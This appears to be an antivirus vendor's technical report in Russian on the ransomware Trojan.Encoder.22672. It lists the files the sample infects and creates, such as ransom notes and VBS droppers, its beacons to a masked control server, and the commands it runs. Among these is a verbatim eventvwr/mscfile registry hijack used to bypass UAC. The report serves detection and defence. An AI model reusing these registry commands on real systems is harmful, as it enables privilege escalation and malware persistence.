Trojan.Encoder.22672

Техническая информация

Для обеспечения автозапуска и распространения:

Заражает следующие исполняемые файлы:

C:\Far2\Plugins\arclite\7zSD.sfx
C:\Far2\Plugins\FTP\lib\ftpDirList.fll
C:\Far2\Plugins\FTP\lib\ftpProgress.fll
C:\Far2\Plugins\arclite\7zS2con.sfx
C:\Far2\Plugins\arclite\7z.sfx
C:\Far2\Plugins\arclite\7zCon.sfx
C:\Far2\Plugins\arclite\7zS2.sfx

Изменения в файловой системе:

Создает следующие файлы:

%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files36.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files35.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files34.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files39.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files38.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files37.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files33.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files29.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files28.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files27.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files32.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files31.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files30.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files40.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files50.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files49.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files48.rtf
%APPDATA%\nmMxlO3O.vbs
%APPDATA%\YhZTKCb26zvLcFIZ.vbs
%APPDATA%\bnSpHHwK6yfnXSwa.jpg
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files47.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files43.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files42.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files41.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files46.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files45.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files44.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files9.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files8.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files7.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files12.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files11.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files10.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files6.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files2.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files1.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files5.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files4.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files3.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files13.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files23.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files22.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files21.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files26.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files25.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files24.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files20.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files16.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files15.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files14.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files19.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files18.rtf
%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files17.rtf

Сетевая активность:

Подключается к:

'up####playernow.win':80

TCP:

Запросы HTTP GET:

http://up####playernow.win/addrecord.php?ap#####################################################################################
http://up####playernow.win/addrecord.php?ap##################################################################################
http://up####playernow.win/addrecord.php?ap###################################################################################
http://up####playernow.win/addrecord.php?ap##################################################################################################
http://up####playernow.win/addrecord.php?ap#################################################################################
http://up####playernow.win/addrecord.php?ap########################################################################################
http://up####playernow.win/addrecord.php?ap######################################################################################

UDP:

DNS ASK up####playernow.win

Другое:

Ищет следующие окна:

ClassName: 'WordPadClass' WindowName: ''

Создает и запускает на исполнение:

'<SYSTEM32>\wscript.exe' //B //Nologo "%APPDATA%\YhZTKCb26zvLcFIZ.vbs"

Запускает на исполнение:

'<SYSTEM32>\reg.exe' add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "wscript.exe //B //NOLOGO \"%APPDATA%\nmMxlO3O.vbs\"" /f
'<SYSTEM32>\eventvwr.exe'
'<SYSTEM32>\mmc.exe' /s <SYSTEM32>\eventvwr.msc
'<SYSTEM32>\reg.exe' copy "HKCR\mscfile" "HKCU\Software\Classes\mscfile" /s /f
'%ProgramFiles%\Windows NT\Accessories\wordpad.exe' "%HOMEPATH%\Desktop\Read_Me_T0_Rest0re_Files.rtf"
'<SYSTEM32>\rundll32.exe' user32.dll,UpdatePerUserSystemParameters
'<SYSTEM32>\cmd.exe' /C reg copy "HKCR\mscfile" "HKCU\Software\Classes\mscfile" /s /f && reg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "wscript.exe //B //NOLOGO \"%APPDATA%\nmMx...